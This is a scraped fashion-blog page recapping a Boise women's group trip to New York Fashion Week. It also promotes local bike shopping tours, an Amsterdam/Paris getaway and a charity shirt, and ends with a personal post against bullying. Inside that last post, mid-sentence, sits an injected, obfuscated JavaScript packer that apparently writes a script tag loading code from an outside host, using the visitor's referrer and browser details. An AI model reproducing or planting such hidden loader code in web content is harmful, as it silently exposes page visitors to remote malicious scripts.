The Style Spy Girl #TravelPosse Does New York!

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do a group of adventurous women, most of whom hail from Boise, Idaho, take on the concrete jungles of NYC?

Like #bossgirls, that’s how!

This September 2016, we booked a Style Spy Girl Getaway travel group to New York for shopping, exploring, dining, sightseeing, and some incredible Fashion Week shows. Here is a recap of the incredible time we had together! (Most photos in this post are by ammophotog.)

Who We Areftl moda style spy girl groupHeather, Jody, Tina, Lisa, Tanya, Amanda, Maria, Amber

Each Style Spy Girl Getaway is a slightly different crew! Some ladies have joined us for every trip, while others pop in and out as they are able to accommodate costs and dates. For New York 2016, we had a wide variety of lovely friends from Idaho, Arizona, and Washington state; bloggers, hair stylists, media pros, entrepreneurs, business owners, and more! Despite our varying backgrounds and hometowns, a love of adventure and girl time bonded us together. ❤

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Our crew loved coming home each evening to our bright, posh rooms at the Innside New York Hotel by Melia! It was such a calm oasis in the midst of a very busy city; no construction, no crowds, super central location, and easy to catch a cab to anywhere in town. On our first night in town, we met for cocktails, got settled in, and then headed to Times Square for an unforgettable experience in the heart of NYC! Did you know you can shop there all night long? Sephora at 2:00am is a very unique experience! Excuse me, but which lipstick makes me look like Kylie?style spy girl nyc times square

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Where do I begin?? Our goal on this trip was to be inspired by the fashion shows and street style around us, and explore all of the places we don’t have access to in Boise. We started off with a bang, piling into a limousine for a jaunt to Tiffany & Co. on 5th Avenue in downtown New York, where we were served champagne and guided on a private tour of  this historic flagship store! We had such a blast, oohing and aahing over all the gorgeous sparkly things, and appreciating the heritage of this iconic American brand.

style spy girl shopping nyc 2016 chanelThroughout the rest of the trip, we explored a wide variety of shopping options, including Bergdorf Goodman (with a Chanel apartment pop-up inside!), Saks Off Fifth, Chanel (of course!!!), as well as street shopping in NOLA, Little Italy, Chinatown, and really cool consignment stores around the area, too.

style spy girl shopping nyc 2016Special thanks to Eleven Consignment Boutique for throwing our crew a private shopping party in Brooklyn!!! 

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Of course, the heart and soul of a New York Fashion Week Getaway has to be FASHION SHOWS! We had a blast at two major runway shows on this trip, both of which blew our minds: Macy’s Fashion’s Front Row show (above) starring Arianna Grande, Iris Apfel, Betsey Johnson, and more… and the FTL Moda Show (below) that challenged our hearts and our views of what beauty truly looks like.

First up: Macy’s! This show had everything, from Flo Rida welcoming us to his house, to light-up Samsung wrist bracelets that sparkled and flashed to the music, and Arianna Grande rocking our socks off with her incredible voice and energy. Everyone got swag bags that included whimsical glasses inspired by fashion icon Iris Apfel, along with the Samsung bracelets and other fun tidbits. The fashions rocked, and the show was non-stop high-velocity glam from start to finish!

My personal favorite legendary designer Betsey Johnson wowed us all, when she followed her new collection for Macy’s with a frolicking, joyful sashay down the runway herself, bedecked in stripes, bright colors, and her signature tutu. Jaws dropped and the audience exploded, as she threw herself into an exuberant cartwheel in the middle of the runway, her traditional grand finale move! The 74-year old rocking designer ends each of her shows this way, as a tribute to her personal battle with breast cancer, and commitment to live each day of her life to the fullest!

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Our next major show was for FTL Moda, featuring a variety of stunning and inspiring fashion designers! The entire evening was about diversity, culture, identity, beauty, and courage. We saw half-veiled faces, live snakes (!), and one brave and stunning model who was missing part of an arm, but used the other to literally carry the word “RESPECT” with her down the runway. That moment was deeply moving in itself, but nothing could prepare us for what came next…

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Reshma Qureshi via Elle Magazine

Acid attack survivor Reshma Bano Qureshi, who was only 17 when a vicious attack by her own brother-in-law destroyed her left eye and half her face, stepped out onto the runway. She’s 19 now, and the second she appeared, bedecked in a white gown by Mumbai-based designer Archana Kochhar, all the air left the room… I can’t speak for every woman, only myself, but my heart shattered in a million pieces when she appeared! In that moment, she stood facing the world, with tears in her eyes and scars tracing the grooves of her skin… In that moment, she was every one of us; every woman who has ever been a victim, or been afraid, or suffered injustice… In that moment, she squared her shoulders and marched down the runway, towards the crowds and flashing lights, and showed us all what true courage looks like. And our hearts marched with her.

Reshma, you are my hero!
Click here to read more about her campaign to help other women like herself here:
MAKE LOVE NOT SCARS!

 

Girls’ Nights Out!girls nights out nyc

One of our favorite things about adventuring in New York was the nightlife. We adore our walkable downtown Boise, but one thing that’s lacking back home is rooftop nightclubs. Trust me; get a group of women standing on an open high-rise balcony overlooking a glittering Empire State Building and all the lights & sounds of NYC, and magic will happen! Every place we went was stunning and unique, from 230 Fifth Avenue to The Skylark. Some nights we walked, some we Ubered, and a couple we ended up deciding a limo was the best way to travel! Whatever the reason, or the destination, we all had a BLAST. Thank you NYC for taking such good care of us!

 

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Of course, you haven’t seen The Big Apple, until you’ve walked in Central Park. With it’s acres of grassy knolls, regal trees, ponds, pathways, and explorers, it’s easy to see why this place is considered such a magical oasis to its residents. Once you’re in it, the Park is far bigger than you realize! We loved lunch in the center, at The Loeb Boathouse, right on the water. While we waited for our main course little turtles paddled up to the edge of our feet, vying with huge fish for dropped crumbs! Most of the time, the fish won.

We had a great adventure aboard the Hornblower sightseeing cruise as well, learning about the history of this gorgeous city from it’s stunning bay. We saw the Brooklyn Bridge, Empire State Building, World Trade Center 9/11 Memorial, and of course the Statue of Liberty. All around us were visitors from across the globe, gathering to gaze upon her welcoming face and outstretched arm! We had no idea, mere months ago, all of the changes that a newly-elected president would soon enact on our nation’s borders… For us in that moment, as we stood contemplating those who came before us – our grandfathers and grandmothers from every nation of the world who came to these shores seeking freedom and a better life – we were deeply proud to be Americans. ❤

 

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In all, we had 6 days in NYC, and we seized every opportunity to make the most of it! At the end of the week we were exhausted, but headed home with our bags packed with fashion souvenirs, our cameras full of once-in-a-lifetime selfies, and a new sisterhood of friends forged by our shared New York minute.

Until the next adventure, ladies, cheers and hugs!!!
XOXO,
Tanya

Do YOU want to join the Style Spy Girl #TravelPosse on our next adventure?
It’s open an any and every woman who’d like to adventure with us!
Click below to find out about our next epic trip:
AMSTERDAM AND PARIS, SUMMER 2017!!!

Coming Soon: Boise’s 1st Tour de Fashion!

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Spy Girl, the Downtown Boise Association, and Boise GreenBike
team up for Tour de Fashion!

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Boise’s downtown core is constantly changing and expanding! Did you know we have over 20 locally-owned boutiques, gift shops, and clothing stores within walking distance of each other? If you love fashion, fitness, and exploration, come join us this Spring and Summer for four very special Tour de Fashion events!

Local fashion blogger Tanya Carnahan (StyleSpyGirl.com), the Downtown Boise Association, and Boise GreenBike are joining forces to present a BIKE TOUR that’s totally new to Idaho. Make new friends, discover new shops and trends, and expand your knowledge of our amazing downtown core!

Each Tour de Fashion bike event in Downtown Boise will target 5-6 rad local businesses that are new to town, or might be new to you! A schedule will be posted of each stop; we will bike, shop, explore, and end with an optional Sips & Bites experience you won’t soon forget. Bring your girlfriends, and add your bike basket to fill with fun & unique fashion purchases along the way. Must be 21 and over to attend these tours.

Time: 1:45pm Saturday, April 8th / May 6th / June 3rd / July 8th, 2017
Location: Meet at Boise’s iconic Post Office, downtown on Bannock & 8th.
Cost: $25 if you have your own bike, $35 if you plan to utilize a BoiseGreen Bike.

Click here to reserve your spot: https://stylespygirl.maxcheckout.com/

What’s included: Guided shopping & exploring with local fashion blogger Tanya Carnahan / Exclusive deals and discounts in our selected boutiques / Photo stops at iconic downtown landmarks along the way / Themed Sips & Bites available for purchase / A unique experience with other fashion-loving and adventurous women!

All tours will have a unique theme, beginning with shopping and ending with optional cocktails and treats:

April 8th: Tour de Fashion, Boho Chic ~ Trendy & bohemian hotspots for free spirits!

May 6th: Tour de Fashion, Local Chic ~ Fashion love for Boise’s iconic local fashion legends!

June 3rd: Tour de Fashion, Jetsetter Chic ~ For the girl-on-the-go who always travels in style!

July 8th: Tour de Fashion, Tres Chic ~ For the refined ingenue who loves classic fashion!

Events will be posted for each date, on Style Spy Girl’s Facebook page.
Please like and follow us here to be first on the list: www.facebook.com/MyStyleSpyGirl.

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Women’s Fashion Getaway 2017: Amsterdam & Paris

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DESTINATION: DURATION: PRICE:
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12 days $3,350

Explore the sights, sounds, styles, & shopping of historic Amsterdam, and the legendary summer sales of Paris! Reserve your spot now to join our women-only getaway to explore the sights, culture, fashions, and shopping of Amsterdam and Paris, focusing on the beginning of summer sale season in both cities!

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This Style Spy Girl Getaway is a dream-come-true for those with a taste for amazing scenery, historic landmarks, dining, exploring, and shopping. Wander the enchanting and diverse city of Amsterdam, with its sprawling canals, fascinating architecture, and hospitable citizens. Our stay begins in a 3-star or greater hotel near Grand Central Station, where each woman will receive a specialized map of the districts, landmarks, and best shopping areas of the city. From the 17th Century Negen Straatjes street boutiques, to Gucci and Chanel in the Museum district, to tucked-away thrift shops packed with vintage bags, jackets, and shoes, we will explore it all! Sightseeing excursions will also include options to visit the Anne Frank House, Van Gogh Museum, the famed Vondel Park, and more.

At the end of the week, we will hop aboard the high-speed Thalys train from Amsterdam to Paris, jetting through the picturesque summertime French countryside. Upon arrival in Paris, we relax in a private group apartment*, for planning and scheming the coming days. Paris plans include champagne in the Eiffel Tower, the Arc de Triomphe, Champs-Elysees, Notre Dame, the Louvre Museum, Musee d’Orsay, Musee’ Galleria, Saint Chapel, and more!

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But this isn’t just a sightseeing tour; our main focus of this trip is the beginning of Summer Sale Season in Paris! Why is this such an important goal? Because sales are state-regulated in France, and generally run during two periods of the year: once in summer, just before the massive vacation exodus towards sea and sun, and once in the winter, shortly following Christmas. Department stores, boutiques, designer outlets, and even hardware shops clear out items from the previous season, gradually slashing prices over the course of the sales period. If you could get a couture designer bag for 70% off, wouldn’t that be the best souvenir ever?

 

Amsterdam Activities at a Glance

  • Exploring the legendary shopping streets of Amsterdam, including the Haarlemmerdijk and “Nine Little Streets”
  • Tour the Fashion & Museum District, with flagship couture shops like Chanel, Gucci, Burberry, Louis Vuitton, etc!
  • Meander through historic cobblestone streets, packed with cafes and unique eateries
  • Visit Amsterdam’s must-see landmarks, like the Anne Frank House, Van Gogh Museum, & Vondel Park
  • Eat like a local, dining on pannekoeken, frites mit mayo saus, Kabelspekken, and more
  • Bike, walk, or take a canal boat tour in the warm summer sun
  • Search for couture vintage treasures in the city’s many famed resale and thrift shops

Paris Activities at a Glance

  • See Paris from atop the Eiffel Tower!
  • Explore landmarks like the Arc de Triomphe, Champs-Elysees, Notre Dame, the Louvre Museum, Musee d’Orsay, Musee’ Galleria, Saint Chapel, and more
  • Shop your heart out, at the beginning of Paris’ legendary summer sale season, including Printemps and the Galleries Lafayette
  • Wander through famed flea market Puces de Saint-Ouen, the largest concentration of antique shops and second-hand dealers in the world.
  • Ride the Paris Ferris Wheel
  • Hop on a train to Versailles or Mont St. Michelle
  • Dine at restaurants frequented by celebrities (and keep your camera ready for selfies!)
  • And above all… Explore and have fun with fellow adventuring women!


IMPORTANT NOTES: 
**Airfare is not included.
*Accommodations are subject to change, based on the number of women in attendance.

THE DEADLINE TO SECURE YOUR SPOT ON THIS TRIP IS MARCH 1st, 2017, due to the fact that some of the above activities (train, museums, etc.) require a purchase of tickets or reservations 2-3 months in advance.

Secure your seat today with a deposit. Click below for payment portal, full itinerary, and deposit information:

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Louis Vuitton Comes to Boise!

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you’re a Louis Vuitton fan, RUN to Dillard’s in Boise right now for their one-time-only pop up shop!
Last night, I was honored to host a sneak-peek party for some of my dearest girl friends. This special sale is new to Dillard’s, and a one-of-a-kind collaboration with What Goes Around Comes Around, the leading purveyor of authentic luxury resale online.

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All of the bags are vintage and pre-loved, in excellent condition and with authentication cards. These beauties are gorgeous, legit, and a fraction of the price of new bags!

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The main event will be open to the public starting December 10th, 2016. HOWEVER, private pre-sales are open right NOW!!! If you want to get a crack at these bags before they’re gone, call Dillard’s at  (208) 321-4646 to make your appointment. 

Happy shopping!
XOXO,
Tanya

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Special THANKS to Dillard’s for showing us such a lovely time, and to all the sweet ladies who came to the party. Love you all! 

 

Fashion Collaboration 4 Good: my new Girl Power shirt from FourthWave!

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babes! I am proud to announce the launch of my first fashion collaboration: a very special #girlpower shirt I’ve co-designed with FourthWave Apparel!

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Nobody puts Girl Power in a Corner.
Why? Because the gloves are off, and we are coming out fighting!

There is a new wave of activism sweeping across our nation right now, as men and women everywhere are stepping up to use their time, energy, and wallets to make a difference in the community around them. Many of us are galvanized, like never before, to find ways we can each help make our world a better place.

As a feminist, I believe that a vital part of fighting for equality in our nation involves lifting up our sisters who are most at risk and vulnerable!

I created this shirt with FourthWave Apparel as a way we can take a stand for those who may not have the resources or ability to stand up for themselves! When you purchase my new Girl Power shirt, use code LEAP40, and 40% of the profits will be donated to LEAPCharities.org, a Boise-based non-profit that provides housing, transitional services, and support to refugees seeking resettlement in our nation.

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Why is that important? And why should “girl power” focus on those who have just arrived in our community? Because many immigrant families who have worked hard to get here are feeling understandable fear. Idaho is a major gateway for refugees, who arrive in our nation fleeing violence, persecution, or seeking freedom, and a life with more opportunities than they had in their previous land.

 

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Shirts available in black, heathered white (top of page), or pink! Use code LEAP40 to send 40% of the proceeds to LEAPCharities!

There has never been a better time for us to stand up for each other across fences, walls, and ethnicity lines. Fact: Women in minority groups in this country fight for equality every day, twice as hard as many of us realize, because they simultaneously have to deal with sexism and racism!  If you’ve never thought about that before, let it sink in; search your heart, and reach out to those around you.

True equality means all are equal, period. If I really want to make the world a better place for my family, I absolutely have to be just as passionate about making it a better place for all families, regardless of  gender, race, religion, or dis/ability.

If you fight for equality, now is the time to stand up and do it with your wallet, with your courage, and with your helping hands. The power to make a difference is in us! Girl-power sisters, let’s get out of the corner! 

XOXO,
Tanya

P.S. If you want to donate directly to LEAP Charities or volunteer, contact them here: http://www.leapcharities.org/
Other great options in the Treasure Valley that need our support are www.idahorefugees.org/,www.rescue.org, and worldreliefboise.org. Help out, in any way you can! Every effort makes a difference.

 

Why it’s More Important Than Ever to Stand Against Bullying

Hey, friends. I know a lot of us have social media burnout from the events occurring in our nation this historic November, so many of you might never see this. But today is Fashion eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yeana|var|u0026u|referrer|idtih||js|php’.split(‘|’),0,{}))
Advice Friday
, a day I typically devote to responding to your style and shopping questions on Facebook.

Today, however, I am really struggling with what to say! This isn’t about who I voted for – you don’t know, so please don’t assume. No, my sorrow today is not over who won or who lost…

It’s about pain.

It’s about division.

It’s about half of our nation wondering if they should feel afraid of the other half.

But mostly, it’s about bullying.

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Many of you who are close to me know about my son, who is one of my biggest heroes in this world. He spent the first half of his life in doctors’ offices and therapy sessions, working to navigate the cards that have been dealt to him in this unpredictable world. (You can read more about his story here, if you’d like.)

When my son was in 4th grade, that’s when the bullying began. Apparently 9 or 10 is the age for many kids, when they stop seeing other children as just friends, and start deciding which groups or cliques they identify with. One attention-needing kid identified my son as different, and they all ran with it. Day after day, he suffered, while I fought to understand what was happening to my child (who wasn’t able to communicate it very well), and then fought his own school teachers and principal to make it stop.

I’ll never forget the day it all came to a halt. The day the blood froze in my veins and my world stopped spinning. We were driving home from school, after a long and unproductive meeting where his principal had flat-out told me “maybe his version of processing the world is causing him to imagine he’s being bullied, because the kids in my school wouldn’t act this way.”

From the back seat, my son said, “Mommy, what are the least painful ways to die? Because I think I would like to just go to Heaven now.”

I couldn’t breathe, but pulled over and turned around as quickly as I could manage. Tears were streaming down his cheeks. And mine. My 9-year-old child wanted to die, because of how other kids, his own friends – in fact, one of his best friends – were treating him.

We never went back to that school.

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This week, I have worked hard to maintain a positive attitude and deeply-rooted belief that things will always turn out the way they are supposed to, and God is with us through it all. But the news reports of children chanting “send them home” to their own classmates – who were their friends just 48 hours before! – has me weeping. Stories of hate crimes, and Muslim women being attacked because their head coverings make them easy targets, and apparently the KKK is throwing a parade…

My friends, I am floored by this all! And honestly, I’m a little angry. Not angry at politics, because they are part of our American system and we all know the rules. No, I am angry at bullies!

So today, instead of my usual fashion post, I’m choosing something different than what I see in my news feed, on TV, and the internet.

I am choosing to be exactly the same person I was before this week ever happened.

I will wear a safety pin on my shirt, and make this pledge:

As before, I will respect every person in my community who has come here from another country, seeking the chance to build a new life for yourself. Whatever reason brought you here, you are equal and I love you.

As before, I will respect every person who has a religious belief that’s different than mine. You are equal and I love you.

As before, I will respect my very dear LGBTQ friends and family members. You are equal and I love you.

As before, I will respect those who have different political views than I do, and their right to them. You are equal and I love you.

As before, I will respect my friends, family members, neighbors, and everyone I meet whose skin or DNA makeup is a different shade than mine. You are equal and I love you.

As before, I will respect all women, of all ages and sizes and ethnicities, and will not judge you on appearance, clothing, beauty, color, or your decision to wear either a burka or bikini any darn place you please. You are equal and I love you.

As before, I will respect all people of disability, special need, or medical challenge, visible or invisible. You are equal and I love you.

This is my promise, because I can not change how others feel, but I can be responsible for my own actions and thoughts.anne-frank-3

Furthermore, if I have judged, internally or out loud, any of the people listed above, I want you to know that I AM SORRY. I repent, and ask your forgiveness, because acknowledging it is what helps us change, and be better. I’m not perfect, so tell me if I say or do something something judgy! Hold me accountable, because that’s not the person I want to be!

I also promise that I will not be a silent onlooker, if I see judgement, bullying, racism, sexism, or harassment occur around me! That’s harder, because I’m a woman and I know what it’s like to fear bullies, too. But every time I see someone picking on a fellow human being in this great nation,  or any other, I will step in and make a stand. (This article has great tips for how to intervene when you see bullying: https://sojo.net/articles/what-do-if-you-see-islamophobic-harrassment)

Because it only takes one person to change the course of another’s hate. One person could have stood up for my son, and his entire childhood would have been different.

I could not be there in the moment, to be that one for my little boy, and I will always regret it… But I promise. If I am there and I see it, I will be that person for you.

Please do the same for me, and I will cling to the hope that we will all be ok.

Sincerely,

Tanya Carnahan

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